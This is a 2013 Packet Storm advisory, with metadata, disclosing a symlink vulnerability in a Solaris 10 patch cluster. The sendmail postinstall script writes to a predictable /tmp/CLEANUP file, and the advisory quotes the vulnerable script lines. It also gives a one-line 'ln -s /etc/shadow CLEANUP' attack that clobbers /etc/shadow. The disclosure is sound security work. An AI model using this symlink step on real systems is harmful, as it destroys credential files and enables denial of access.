ID PACKETSTORM:122077 Type packetstorm Reporter Larry W. Cashdollar Modified 2013-06-19T00:00:00
Description
`File clobbering vulnerability in Solaris 10 patch cluster
3/27/2013
Larry W. Cashdollar
@_larry0
Hello,
The 147147-26 patch creates a CLEANUP file in /tmp that is vulnerable to symlink attacks:
The contents of the file created in /tmp are:
/sbin/sh:root@dev-unix-sec02# cat CLEANUP
EXISTING_FILE_PRESERVED: /var/run/.patchSafeMode/root/etc/security/audit_event /var/run/.patchSafeMode/root/etc/security/audit_event.new
EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/sendmail.cf /var/run/.patchSafeMode/root/etc/mail/sendmail.cf.old EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/submit.cf /var/run/.patchSafeMode/root/etc/mail/submit.cf.old
Sendmail has been upgraded to version 8.14.5 . After you reboot, you may want to run
/usr/sbin/check-hostname
and
/usr/sbin/check-permissions ALL
These two shell-scripts will check for common mis-configurations and recommend corrective action, or report if things are OK.
-rw-r--r-- 1 root other 662 Mar 27 13:03 CLEANUP
The vulnerable code can be found in ./SUNWsndmu/install/postinstall:
540 CLEANUP=/tmp/CLEANUP
541
542 if [ "x$UPDATE" = xyes ]; then
543 VERSION=`grep '^DZ' $PKG_INSTALL_ROOT/etc/mail/sendmail.cf | \
544 sed -e s/DZ//`
545 echo "\nSendmail has been upgraded to version $VERSION ." >>$CLE
ANUP
546 echo "After you reboot, you may want to run" >>$CLEANUP
547 echo "\t/usr/sbin/check-hostname" >>$CLEANUP
548 echo "and" >>$CLEANUP
549 echo "\t/usr/sbin/check-permissions ALL" >>$CLEANUP
550 echo "These two shell-scripts will check for common" >>$CLEANUP
551 echo "misconfigurations and recommend corrective" >>$CLEANUP
552 echo "action, or report if things are OK.\n" >>$CLEANUP
553 fi
A simple attack in /tmp can clobber /etc/shadow:
[/tmp $] ln -s /etc/shadow CLEANUP
Will over write the contents of /etc/shadow.
Oracle has been notified 3/27/2013 and they are working on a fix.
`
{"type": "packetstorm", "published": "2013-06-19T00:00:00", "reporter": "Larry W. Cashdollar", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "b8700937fcc4e20aa8fcaf7406029f6e"}, {"key": "modified", "hash": "bca56af0d1cdc79f787f17882f67dba5"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "bca56af0d1cdc79f787f17882f67dba5"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "e113c44eda1aa80e38955d5fbbb333ff"}, {"key": "sourceData", "hash": "d908e099ff22888e81fb75fbb727bc39"}, {"key": "sourceHref", "hash": "d5fc1d588700b613b118bede58f09472"}, {"key": "title", "hash": "ab532cec5adbf8bbe562dad7d08e5055"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "`File clobbering vulnerability in Solaris 10 patch cluster \n3/27/2013 \nLarry W. Cashdollar \n@_larry0 \n \nHello, \n \nThe 147147-26 patch creates a CLEANUP file in /tmp that is vulnerable to symlink attacks: \n \nThe contents of the file created in /tmp are: \n \n/sbin/sh:root@dev-unix-sec02# cat CLEANUP \n \nEXISTING_FILE_PRESERVED: /var/run/.patchSafeMode/root/etc/security/audit_event /var/run/.patchSafeMode/root/etc/security/audit_event.new \n \nEXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/sendmail.cf /var/run/.patchSafeMode/root/etc/mail/sendmail.cf.old EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/submit.cf /var/run/.patchSafeMode/root/etc/mail/submit.cf.old \n \nSendmail has been upgraded to version 8.14.5 . After you reboot, you may want to run \n \n/usr/sbin/check-hostname \nand \n \n/usr/sbin/check-permissions ALL \n \nThese two shell-scripts will check for common mis-configurations and recommend corrective action, or report if things are OK. \n \n-rw-r--r-- 1 root other 662 Mar 27 13:03 CLEANUP \n \nThe vulnerable code can be found in ./SUNWsndmu/install/postinstall: \n \n540 CLEANUP=/tmp/CLEANUP \n541 \n542 if [ \"x$UPDATE\" = xyes ]; then \n \n543 VERSION=`grep '^DZ' $PKG_INSTALL_ROOT/etc/mail/sendmail.cf | \\ \n544 sed -e s/DZ//` \n545 echo \"\\nSendmail has been upgraded to version $VERSION .\" >>$CLE \nANUP \n546 echo \"After you reboot, you may want to run\" >>$CLEANUP \n547 echo \"\\t/usr/sbin/check-hostname\" >>$CLEANUP \n548 echo \"and\" >>$CLEANUP \n549 echo \"\\t/usr/sbin/check-permissions ALL\" >>$CLEANUP \n550 echo \"These two shell-scripts will check for common\" >>$CLEANUP \n551 echo \"misconfigurations and recommend corrective\" >>$CLEANUP \n552 echo \"action, or report if things are OK.\\n\" >>$CLEANUP \n \n553 fi \n \nA simple attack in /tmp can clobber /etc/shadow: \n \n[/tmp $] ln -s /etc/shadow CLEANUP \n \nWill over write the contents of /etc/shadow. \n \nOracle has been notified 3/27\ufeff/2013 and they are working on a fix. \n`\n", "viewCount": 2, "history": [], "lastseen": "2016-11-03T10:17:43", "objectVersion": "1.2", "href": "https://packetstormsecurity.com/files/122077/Solaris-10-Patch-Cluster-File-Clobber.html", "sourceHref": "https://packetstormsecurity.com/files/download/122077/solaris10patchcluster-clobber.txt", "title": "Solaris 10 Patch Cluster File Clobber", "enchantments": {"score": {"value": -0.1, "vector": "NONE", "modified": "2016-11-03T10:17:43"}, "dependencies": {"references": [], "modified": "2016-11-03T10:17:43"}, "vulnersScore": -0.1}, "references": [], "id": "PACKETSTORM:122077", "hash": "509af642e22457b674c890f30fe96169fe7ad5203ac330b08020d9422fca219a", "edition": 1, "cvelist": [], "modified": "2013-06-19T00:00:00", "description": ""}